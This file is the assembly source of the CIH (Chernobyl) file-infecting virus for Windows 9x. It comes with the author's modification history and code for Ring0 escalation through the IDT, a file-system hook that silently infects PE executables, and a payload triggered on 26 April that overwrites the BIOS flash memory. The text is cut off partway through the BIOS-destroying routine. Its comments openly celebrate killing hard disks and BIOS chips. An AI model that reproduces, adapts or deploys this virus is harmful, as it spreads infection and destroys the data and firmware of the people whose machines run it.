; ****************************************************************************
; *			The Virus Program Information                        *
; ****************************************************************************
; *                                                                          *
; *	Designer : CIH			Original Place : TTIT of Taiwan      *
; *	Create Date : 04/26/1998	Now Version : 1.2                    *
; *     Modification Time : 05/21/1998                                       *
; *									     *
; *==========================================================================*
; *			Modification History                                 *
; *==========================================================================*
; *	v1.0	1. Create the Virus Program.                                 *
; *		2. The Virus Modifies IDT to Get Ring0 Privilege.            *
; * 04/26/1998  3. Virus Code doesn't Reload into System.                    *
; *		4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *
; *		5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook.  *
; *		6. When System Opens Existing PE File, the File will be      *
; *                Infected, and the File doesn't be Reinfected.             *
; *		7. It is also Infected, even the File is Read-Only.          *
; *		8. When the File is Infected, the Modification Date and Time *
; *		   of the File also don't be Changed.                        *
; *		9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call  *
; *		   Previous FileSystemApiHook, it will Call the Function     *
; *		   that the IFS Manager Would Normally Call to Implement     *
; *		   this Particular I/O Request.                              *
; *	       10. The Virus Size is only 656 Bytes.                         *
; *==========================================================================*
; *	v1.1	1. Especially, the File that be Infected will not Increase   *
; *		   it's Size...   ^__^					     *
; * 05/15/1998	2. Hook and Modify Structured Exception Handing.	     *
; *		   When Exception Error Occurs, Our OS System should be in   *
; *		   Windows NT. So My Cute Virus will not Continue to Run,    *
; *		   it will Jmup to Original Application to Run.		     *
; *		3. Use Better Algorithm, Reduce Virus Code Size.	     *
; *		4. The Virus "Basic" Size is only 796 Bytes.		     *
; *==========================================================================*
; *	v1.2	1. Kill All HardDisk, and BIOS... Super... Killer...	     *
; *		2. Modify the Bug of v1.1				     *
; * 05/21/1998	3. The Virus "Basic" Size is 1003 Bytes.		     *
; ****************************************************************************

                .586P

; ****************************************************************************
; *             Original PE Executable File(Don't Modify this Section)       *
; ****************************************************************************

OriginalAppEXE  SEGMENT

FileHeader:
                db      04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
                db      004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
                db      0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
                db      00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
                db      021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
                db      069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
                db      061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
                db      074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
                db      020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
                db      06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
                db      024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
                db      0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
                db      00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
                db      000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
                db      000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
                db      004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
                db      000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
                db      000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
                db      000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
                db      000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
                db      000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
                db      000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
		dd	00000000h, VirusSize

OriginalAppEXE  ENDS

; ****************************************************************************
; *                     My Virus Game                                        *
; ****************************************************************************

; *********************************************************
; *                    Constant Define                    *
; *********************************************************

TRUE			=	1
FALSE			=	0

DEBUG			=	TRUE

MajorVirusVersion	=	1
MinorVirusVersion	=	2

VirusVersion		=	MajorVirusVersion*10h+MinorVirusVersion


IF	DEBUG

	FirstKillHardDiskNumber	=	81h
	HookExceptionNumber     =       05h

ELSE

	FirstKillHardDiskNumber	=	80h
	HookExceptionNumber     =       03h

ENDIF


FileNameBufferSize	=	7fh

; *********************************************************
; *********************************************************

VirusGame               SEGMENT

                        ASSUME  CS:VirusGame, DS:VirusGame, SS:VirusGame
                        ASSUME  ES:VirusGame, FS:VirusGame, GS:VirusGame

; *********************************************************
; *             Ring3 Virus Game Initial Program          *
; *********************************************************

MyVirusStart:
			push	ebp

; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error  *
; * Occurrence, Especially in NT.     *
; *************************************

			lea	eax, [esp-04h*2]

			xor	ebx, ebx
			xchg	eax, fs:[ebx]

			call	@0
@0:
			pop	ebx

			lea	ecx, StopToRunVirusCode-@0[ebx]
			push	ecx

			push	eax

; *************************************
; * Let's Modify                      *
; * IDT(Interrupt Descriptor Table)   *
; * to Get Ring0 Privilege...         *
; *************************************

			push	eax		;
                        sidt    [esp-02h]       ; Get IDT Base Address
                        pop     ebx             ;

                        add     ebx, HookExceptionNumber*08h+04h ; ZF = 0

			cli

                        mov     ebp, [ebx]      ; Get Exception Base
                        mov     bp, [ebx-04h]   ; Entry Point

                        lea     esi, MyExceptionHook-@1[ecx]

			push	esi

			mov	[ebx-04h], si		;
			shr	esi, 16			; Modify Exception
			mov	[ebx+02h], si		; Entry Point Address

			pop	esi

; *************************************
; * Generate Exception to Get Ring0   *
; *************************************

			int	HookExceptionNumber	; GenerateException
ReturnAddressOfEndException	=	$

; *************************************
; * Merge All Virus Code Section      *
; *************************************

			push	esi
			mov	esi, eax

LoopOfMergeAllVirusCodeSection:

			mov	ecx, [eax-04h]

			rep	movsb

			sub	eax, 08h

			mov	esi, [eax]

			or	esi, esi
			jz	QuitLoopOfMergeAllVirusCodeSection ; ZF = 1

			jmp	LoopOfMergeAllVirusCodeSection

QuitLoopOfMergeAllVirusCodeSection:

			pop	esi

; *************************************
; * Generate Exception Again          *
; *************************************

			int	HookExceptionNumber	; GenerateException Again

; *************************************
; * Let's Restore                     *
; * Structured Exception Handing      *
; *************************************

ReadyRestoreSE:
			sti

			xor	ebx, ebx

			jmp	RestoreSE

; *************************************
; * When Exception Error Occurs,      *
; * Our OS System should be in NT.    *
; * So My Cute Virus will not         *
; * Continue to Run, it Jmups to      *
; * Original Application to Run.      *
; *************************************

StopToRunVirusCode:
@1			=	StopToRunVirusCode

			xor	ebx, ebx
			mov	eax, fs:[ebx]
			mov	esp, [eax]

RestoreSE:
			pop	dword ptr fs:[ebx]
			pop	eax

; *************************************
; * Return Original App to Execute    *
; *************************************

			pop	ebp

                        push    00401000h       ; Push Original
OriginalAddressOfEntryPoint	=	$-4	; App Entry Point to Stack

                        ret     ; Return to Original App Entry Point

; *********************************************************
; *             Ring0 Virus Game Initial Program          *
; *********************************************************

MyExceptionHook:
@2			=	MyExceptionHook

			jz	InstallMyFileSystemApiHook

; *************************************
; * Do My Virus Exist in System !?    *
; *************************************

			mov	ecx, dr0
			jecxz	AllocateSystemMemoryPage

			add	dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException

; *************************************
; * Return to Ring3 Initial Program   *
; *************************************

ExitRing0Init:
			mov	[ebx-04h], bp	;
			shr	ebp, 16		; Restore Exception
			mov	[ebx+02h], bp	;

			iretd

; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************

AllocateSystemMemoryPage:

			mov	dr0, ebx	; Set the Mark of My Virus Exist in System

			push	00000000fh	;
			push	ecx		;
			push	0ffffffffh	;
			push	ecx		;
			push	ecx		;
			push	ecx		;
			push	000000001h	;
			push	000000002h	;
			int	20h		; VMMCALL _PageAllocate
_PageAllocate		=	$		;
			dd	00010053h	; Use EAX, ECX, EDX, and flags
			add	esp, 08h*04h

			xchg	edi, eax	; EDI = SystemMemory Start Address

			lea	eax, MyVirusStart-@2[esi]

			iretd	; Return to Ring3 Initial Program

; *************************************
; * Install My File System Api Hook   *
; *************************************

InstallMyFileSystemApiHook:

			lea	eax, FileSystemApiHook-@6[edi]

			push	eax  ;
			int	20h  ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook	=	$	;
			dd      00400067h	; Use EAX, ECX, EDX, and flags

			mov	dr0, eax	; Save OldFileSystemApiHook Address

			pop	eax	; EAX = FileSystemApiHook Address

			; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
			mov	ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
			mov	edx, [ecx]
			mov	OldInstallFileSystemApiHook-@3[eax], edx

			; Modify IFSMgr_InstallFileSystemApiHook Entry Point
			lea	eax, InstallFileSystemApiHook-@3[eax]
			mov	[ecx], eax

			cli

			jmp	ExitRing0Init

; *********************************************************
; *             Code Size of Merge Virus Code Section     *
; *********************************************************

CodeSizeOfMergeVirusCodeSection		=	offset $

; *********************************************************
; *             IFSMgr_InstallFileSystemApiHook           *
; *********************************************************

InstallFileSystemApiHook:
			push	ebx

			call	@4	;
@4:					;
			pop	ebx	; mov ebx, offset FileSystemApiHook
			add	ebx, FileSystemApiHook-@4	;

			push	ebx
			int	20h  ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook	=	$
			dd      00400068h	; Use EAX, ECX, EDX, and flags
			pop	eax

			; Call Original IFSMgr_InstallFileSystemApiHook
			; to Link Client FileSystemApiHook
			push	dword ptr [esp+8]
			call	OldInstallFileSystemApiHook-@3[ebx]
			pop	ecx

			push	eax

			; Call Original IFSMgr_InstallFileSystemApiHook
			; to Link My FileSystemApiHook
			push	ebx
			call	OldInstallFileSystemApiHook-@3[ebx]
			pop	ecx

			mov	dr0, eax	; Adjust OldFileSystemApiHook Address

			pop	eax

			pop	ebx

			ret

; *********************************************************
; *			Static Data                       *
; *********************************************************

OldInstallFileSystemApiHook	dd	?

; *********************************************************
; *             IFSMgr_FileSystemHook                     *
; *********************************************************

; *************************************
; * IFSMgr_FileSystemHook Entry Point *
; *************************************

FileSystemApiHook:
@3			=	FileSystemApiHook

			pushad

                        call    @5	;
@5:					;
                        pop     esi	; mov esi, offset VirusGameDataStartAddress
                        add     esi, VirusGameDataStartAddress-@5

; *************************************
; * Is OnBusy !?                      *
; *************************************

			test	byte ptr (OnBusy-@6)[esi], 01h	; if ( OnBusy )
			jnz	pIFSFunc			; goto pIFSFunc

; *************************************
; * Is OpenFile !?                    *
; *************************************

			; if ( NotOpenFile )
			; goto prevhook
			lea	ebx, [esp+20h+04h+04h]
			cmp	dword ptr [ebx], 00000024h
			jne	prevhook

; *************************************
; * Enable OnBusy                     *
; *************************************

			inc	byte ptr (OnBusy-@6)[esi]	; Enable OnBusy

; *************************************
; * Get FilePath's DriveNumber,       *
; * then Set the DriveName to         *
; * FileNameBuffer.                   *
; *************************************
; * Ex. If DriveNumber is 03h,        *
; *     DriveName is 'C:'.            *
; *************************************

			; mov esi, offset FileNameBuffer
			add	esi, FileNameBuffer-@6

			push	esi

			mov	al, [ebx+04h]
			cmp	al, 0ffh
			je	CallUniToBCSPath

			add	al, 40h
			mov	ah, ':'

			mov	[esi], eax

			inc	esi
			inc	esi

; *************************************
; * UniToBCSPath                      *
; *************************************
; * This Service Converts             *
; * a Canonicalized Unicode Pathname  *
; * to a Normal Pathname in the       *
; * Specified BCS Character Set.      *
; *************************************

CallUniToBCSPath:
			push	00000000h
			push	FileNameBufferSize
			mov	ebx, [ebx+10h]
			mov	eax, [ebx+0ch]
			add	eax, 04h
			push	eax
			push	esi
			int	20h	; VXDCall UniToBCSPath
UniToBCSPath		=	$
			dd	00400041h
			add	esp, 04h*04h

; *************************************
; * Is FileName '.EXE' !?             *
; *************************************

			; cmp [esi+eax-04h], '.EXE'
			cmp	[esi+eax-04h], 'EXE.'
			pop	esi
			jne	DisableOnBusy

IF	DEBUG

; *************************************
; * Only for Debug                    *
; *************************************

			; cmp [esi+eax-06h], 'FUCK'
			cmp	[esi+eax-06h], 'KCUF'
			jne	DisableOnBusy

ENDIF

; *************************************
; * Is Open Existing File !?          *
; *************************************

			; if ( NotOpenExistingFile )
			; goto DisableOnBusy
			cmp	word ptr [ebx+18h], 01h
			jne	DisableOnBusy

; *************************************
; * Get Attributes of the File        *
; *************************************

			mov	ax, 4300h
			int	20h	; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO	=	$
			dd	00400032h

			jc	DisableOnBusy

			push	ecx

; *************************************
; * Get IFSMgr_Ring0_FileIO Address   *
; *************************************

			mov	edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
			mov	edi, [edi]

; *************************************
; * Is Read-Only File !?              *
; *************************************

			test	cl, 01h
			jz	OpenFile

; *************************************
; * Modify Read-Only File to Write    *
; *************************************

			mov	ax, 4301h
			xor	ecx, ecx
			call	edi	; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Open File                         *
; *************************************

OpenFile:
			xor	eax, eax
			mov	ah, 0d5h
			xor	ecx, ecx
			xor	edx, edx
			inc	edx
			mov	ebx, edx
			inc	ebx
			call	edi	; VXDCall IFSMgr_Ring0_FileIO

			xchg	ebx, eax	; mov ebx, FileHandle

; *************************************
; * Need to Restore                   *
; * Attributes of the File !?         *
; *************************************

			pop	ecx

			pushf

			test	cl, 01h
			jz	IsOpenFileOK

; *************************************
; * Restore Attributes of the File    *
; *************************************

			mov	ax, 4301h
			call	edi	; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Is Open File OK !?                *
; *************************************

IsOpenFileOK:
			popf

			jc	DisableOnBusy

; *************************************
; * Open File Already Succeed.   ^__^ *
; *************************************

			push	esi	; Push FileNameBuffer Address to Stack

			pushf		; Now CF = 0, Push Flag to Stack

			add	esi, DataBuffer-@7 ; mov esi, offset DataBuffer

; ***************************
; * Get OffsetToNewHeader   *
; ***************************

			xor	eax, eax
			mov	ah, 0d6h

			; For Doing Minimal VirusCode's Length,
			; I Save EAX to EBP.
			mov	ebp, eax

			xor	ecx, ecx
			mov	cl, 04h
			xor	edx, edx
			mov	dl, 3ch
			call	edi	; VXDCall IFSMgr_Ring0_FileIO

			mov	edx, [esi]

; ***************************
; * Get 'PE\0' Signature    *
; * of ImageFileHeader, and *
; * Infected Mark.          *
; ***************************

			dec	edx

			mov	eax, ebp
			call	edi	; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Is PE !?                *
; ***************************
; * Is the File             *
; * Already Infected !?     *
; ***************************

			; cmp [esi], '\0PE\0'
			cmp	dword ptr [esi], 00455000h
			jne	CloseFile

; *************************************
; * The File is                   ^o^ *
; * PE(Portable Executable) indeed.   *
; *************************************
; * The File isn't also Infected.     *
; *************************************

; *************************************
; * Start to Infect the File          *
; *************************************
; * Registers Use Status Now :        *
; *                                   *
; * EAX = 04h                         *
; * EBX = File Handle                 *
; * ECX = 04h                         *
; * EDX = 'PE\0\0' Signature of       *
; *       ImageFileHeader Pointer's   *
; *	  Former Byte.                *
; * ESI = DataBuffer Address ==> @8   *
; * EDI = IFSMgr_Ring0_FileIO Address *
; * EBP = D600h ==> Read Data in File *
; *************************************
; * Stack Dump :                      *
; *                                   *
; * ESP => -------------------------  *
; *        |       EFLAG(CF=0)     |  *
; *        -------------------------  *
; *        | FileNameBufferPointer |  *
; *        -------------------------  *
; *        |          EDI          |  *
; *        -------------------------  *
; *        |          ESI          |  *
; *        -------------------------  *
; *        |          EBP          |  *
; *        -------------------------  *
; *        |          ESP          |  *
; *        -------------------------  *
; *        |          EBX          |  *
; *        -------------------------  *
; *        |          EDX          |  *
; *        -------------------------  *
; *        |          ECX          |  *
; *        -------------------------  *
; *        |          EAX          |  *
; *        -------------------------  *
; *        |     Return Address    |  *
; *        -------------------------  *
; *************************************

			push	ebx	; Save File Handle

			push	00h	; Set VirusCodeSectionTableEndMark

; ***************************
; * Let's Set the           *
; * Virus' Infected Mark    *
; ***************************

			push	01h	; Size
			push	edx	; Pointer of File
			push	edi	; Address of Buffer

; ***************************
; * Save ESP Register       *
; ***************************

			mov	dr1, esp

; ***************************
; * Let's Set the           *
; * NewAddressOfEntryPoint  *
; * ( Only First Set Size ) *
; ***************************

			push	eax	; Size

; ***************************
; * Let's Read              *
; * Image Header in File    *
; ***************************

			mov	eax, ebp
			mov	cl, SizeOfImageHeaderToRead
			add	edx, 07h ; Move EDX to NumberOfSections
			call	edi	 ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Let's Set the           *
; * NewAddressOfEntryPoint  *
; * ( Set Pointer of File,  *
; *   Address of Buffer   ) *
; ***************************

			lea	eax, (AddressOfEntryPoint-@8)[edx]
			push	eax	; Pointer of File

			lea	eax, (NewAddressOfEntryPoint-@8)[esi]
			push	eax	; Address of Buffer

; ***************************
; * Move EDX to the Start   *
; * of SectionTable in File *
; ***************************

			movzx	eax, word ptr (SizeOfOptionalHeader-@8)[esi]
			lea	edx, [eax+edx+12h]

; ***************************
; * Let's Get               *
; * Total Size of Sections  *
; ***************************

			mov	al, SizeOfScetionTable

			; I Assume NumberOfSections <= 0ffh
			mov	cl, (NumberOfSections-@8)[esi]

			mul	cl

; ***************************
; * Let's Set Section Table *
; ***************************

			; Move ESI to the Start of SectionTable
			lea	esi, (StartOfSectionTable-@8)[esi]

			push	eax	; Size
			push	edx	; Pointer of File
			push	esi	; Address of Buffer

; ***************************
; * The Code Size of Merge  *
; * Virus Code Section and  *
; * Total Size of Virus     *
; * Code Section Table Must *
; * be Small or Equal the   *
; * Unused Space Size of    *
; * Following Section Table *
; ***************************

			inc	ecx
			push	ecx	; Save NumberOfSections+1

			shl	ecx, 03h
			push	ecx	; Save TotalSizeOfVirusCodeSectionTable

			add	ecx, eax
			add	ecx, edx

			sub	ecx, (SizeOfHeaders-@9)[esi]
			jnc	short OnlySetInfectedMark

			not	ecx
			inc	ecx

			cmp	cx, small CodeSizeOfMergeVirusCodeSection
			jb	OnlySetInfectedMark

; ***************************
; * Save Original           *
; * Address of Entry Point  *
; ***************************

			; Save My Virus First Section Code
			; Size of Following Section Table...
			; ( Not Include the Size of Virus Code Section Table )
			push	ecx

			xchg	ecx, eax	; ECX = Size of Section Table

			mov	eax, (AddressOfEntryPoint-@9)[esi]
			add	eax, (ImageBase-@9)[esi]
			mov	(OriginalAddressOfEntryPoint-@9)[esi], eax

; ***************************
; * Read All Section Tables *
; ***************************

			mov	eax, ebp
			call	edi	; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Let's Set Total Virus   *
; * Code Section Table      *
; ***************************

			; EBX = My Virus First Section Code
			;	Size of Following Section Table
			pop	ebx
			pop	edi	; EDI = TotalSizeOfVirusCodeSectionTable
			pop	ecx	; ECX = NumberOfSections+1

			push	edi		; Size

			add	edx, eax
			push	edx		; Pointer of File

			add	eax, esi
			push	eax		; Address of Buffer

; ***************************
; * Set the First Virus     *
; * Code Section Size in    *
; * VirusCodeSectionTable   *
; ***************************

			lea	eax, [eax+edi-04h]
			mov	[eax], ebx

; ***************************
; * Let's Set My Virus      *
; * First Section Code      *
; ***************************

			push	ebx	; Size

			add	edx, edi
			push	edx	; Pointer of File

			lea	edi, (MyVirusStart-@9)[esi]
			push	edi	; Address of Buffer

; ***************************
; * Let's Modify the        *
; * AddressOfEntryPoint to  *
; * My Virus Entry Point    *
; ***************************

			mov	(NewAddressOfEntryPoint-@9)[esi], edx

; ***************************
; * Setup Initial Data      *
; ***************************

			lea	edx, [esi-SizeOfScetionTable]
			mov	ebp, offset VirusSize

			jmp	StartToWriteCodeToSections

; ***************************
; * Write Code to Sections  *
; ***************************

LoopOfWriteCodeToSections:

			add	edx, SizeOfScetionTable

			mov	ebx, (SizeOfRawData-@9)[edx]
			sub	ebx, (VirtualSize-@9)[edx]
			jbe	EndOfWriteCodeToSections

			push	ebx	; Size

			sub	eax, 08h
			mov	[eax], ebx

			mov	ebx, (PointerToRawData-@9)[edx]
			add	ebx, (VirtualSize-@9)[edx]
			push	ebx	; Pointer of File

			push	edi	; Address of Buffer

			mov	ebx, (VirtualSize-@9)[edx]
			add	ebx, (VirtualAddress-@9)[edx]
			add	ebx, (ImageBase-@9)[esi]
			mov	[eax+4], ebx

			mov	ebx, [eax]
			add	(VirtualSize-@9)[edx], ebx

			; Section contains initialized data ==> 00000040h
			; Section can be Read.              ==> 40000000h
			or	(Characteristics-@9)[edx], 40000040h

StartToWriteCodeToSections:

			sub	ebp, ebx
			jbe	SetVirusCodeSectionTableEndMark

			add	edi, ebx	; Move Address of Buffer

EndOfWriteCodeToSections:

			loop	LoopOfWriteCodeToSections

; ***************************
; * Only Set Infected Mark  *
; ***************************

OnlySetInfectedMark:
			mov	esp, dr1

			jmp	WriteVirusCodeToFile

; ***************************
; * Set Virus Code          *
; * Section Table End Mark  *
; ***************************

SetVirusCodeSectionTableEndMark:

			; Adjust Size of Virus Section Code to Correct Value
			add	[eax], ebp
			add	[esp+08h], ebp

			; Set End Mark
			xor	ebx, ebx
			mov	[eax-04h], ebx

; ***************************
; * When VirusGame Calls    *
; * VxDCall, VMM Modifies   *
; * the 'int 20h' and the   *
; * 'Service Identifier'    *
; * to 'Call [XXXXXXXX]'.   *
; ***************************
; * Before Writing My Virus *
; * to File, I Must Restore *
; * them First.     ^__^    *
; ***************************

			lea	eax, (LastVxDCallAddress-2-@9)[esi]

			mov	cl, VxDCallTableSize

LoopOfRestoreVxDCallID:
			mov	word ptr [eax], 20cdh

			mov	edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi]
			mov	[eax+2], edx

			movzx	edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi]
			sub	eax, edx

			loop	LoopOfRestoreVxDCallID

; ***************************
; * Let's Write             *
; * Virus Code to the File  *
; ***************************

WriteVirusCodeToFile:
			mov	eax, dr1
			mov	ebx, [eax+10h]
			mov	edi, [eax]

LoopOfWriteVirusCodeToFile:

			pop	ecx
			jecxz	SetFileModificationMark

			mov	esi, ecx
			mov	eax, 0d601h
			pop	edx
			pop	ecx

			call	edi	; VXDCall IFSMgr_Ring0_FileIO

			jmp	LoopOfWriteVirusCodeToFile

; ***************************
; * Let's Set CF = 1 ==>    *
; * Need to Restore File    *
; * Modification Time       *
; ***************************

SetFileModificationMark:
			pop	ebx
			pop	eax

			stc		; Enable CF(Carry Flag)
			pushf

; *************************************
; * Close File                        *
; *************************************

CloseFile:
			xor	eax, eax
			mov	ah, 0d7h
			call	edi	; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Need to Restore File Modification *
; * Time !?                           *
; *************************************

			popf
			pop	esi
			jnc	IsKillComputer

; *************************************
; * Restore File Modification Time    *
; *************************************

			mov	ebx, edi

			mov	ax, 4303h
			mov	ecx, (FileModificationTime-@7)[esi]
			mov	edi, (FileModificationTime+2-@7)[esi]
			call	ebx	; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Disable OnBusy                    *
; *************************************

DisableOnBusy:
			dec	byte ptr (OnBusy-@7)[esi]	; Disable OnBusy

; *************************************
; * Call Previous FileSystemApiHook   *
; *************************************

prevhook:
			popad

			mov	eax, dr0	;
			jmp	[eax]		; Jump to prevhook

; *************************************
; * Call the Function that the IFS    *
; * Manager Would Normally Call to    *
; * Implement this Particular I/O     *
; * Request.                          *
; *************************************

pIFSFunc:
			mov	ebx, esp
			push	dword ptr [ebx+20h+04h+14h]	; Push pioreq
			call	[ebx+20h+04h]			; Call pIFSFunc
			pop	ecx				;

			mov	[ebx+1ch], eax	; Modify EAX Value in Stack

; ***************************
; * After Calling pIFSFunc, *
; * Get Some Data from the  *
; * Returned pioreq.        *
; ***************************

			cmp	dword ptr [ebx+20h+04h+04h], 00000024h
			jne	QuitMyVirusFileSystemHook

; *****************
; * Get the File  *
; * Modification  *
; * Date and Time *
; * in DOS Format.*
; *****************

			mov	eax, [ecx+28h]
			mov	(FileModificationTime-@6)[esi], eax

; ***************************
; * Quit My Virus'          *
; * IFSMgr_FileSystemHook   *
; ***************************

QuitMyVirusFileSystemHook:

			popad

			ret

; *************************************
; * Kill Computer !? ...   *^_^*      *
; *************************************

IsKillComputer:
			; Get Now Month from BIOS CMOS
			mov	ax, 0708h
			out	70h, al
			in	al, 71h

			xchg	ah, al

			; Get Now Day from BIOS CMOS
			out	70h, al
			in	al, 71h

			xor	ax, 0426h	; 04/26/????
			jne	DisableOnBusy

; **************************************
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; **************************************

; ***************************
; * Kill BIOS EEPROM        *
; ***************************

			mov	bp, 0cf8h
			lea	esi, IOForEEPROM-@7[esi]

; ***********************
; * Show BIOS Page in   *
; * 000E0000 - 000EFFFF *
; *    (   64 KB   )    *
; ***********************

			mov	edi, 8000384ch
			mov	dx, 0cfeh
			cli
			call	esi

; ***********************
; * Show BIOS Page in   *
; * 000F0000 - 000FFFFF *
; *    (   64 KB   )    *
; ***********************

			mov	di, 0058h
			dec	edx					; and al,0fh
			mov	word ptr (BooleanCalculateCode-@10)[esi], 0f24h
			call	esi

; ***********************
; * Show the BIOS Extra *
; * ROM Data in Memory  *
; * 000E0000 - 000E01FF *
; *   (   512 Bytes   ) *
; * , and the Section   *
; * of Extra BIOS can   *
; * be Writted...       *
; ***********************

			lea	ebx, EnableEEPROMToWrite-@10[esi]

			mov	eax, 0e5555h
			mov	ecx, 0e2aaah
			call	ebx
			mov	byte ptr [eax], 60h

			push	ecx
			loop	$

; ***********************
; * Kill the BIOS Extra *
; * ROM Data in Memory  *
; * 000E0000 - 000E007F *
; *   (   80h Bytes   ) *
; ***********************

			xor	ah, ah
			mov	[eax], al

			xchg	ecx, eax
			loop	$

; ***********************
; * Show and Enable the *
; * BIOS Main ROM Data  *
; * 000E0000 - 000FFFFF *
; *   (   128 KB   )    *
; * can be Writted...   *
; ***********************

			mov	eax, 0f5555h
			pop	ecx
			mov	ch, 0aah
			call	ebx
			mov	byte ptr [eax], 20h

			loop	$

; ***********************
; * Kill the BIOS Main  *
; * ROM Data in Memory  *
; * 000FE000 - 000FE07F *
; *   (   80h Bytes   ) *
; ***********************

			mov	ah, 0e0h
			mov	[eax], al

; ***********************
; * Hide BIOS Page in   *
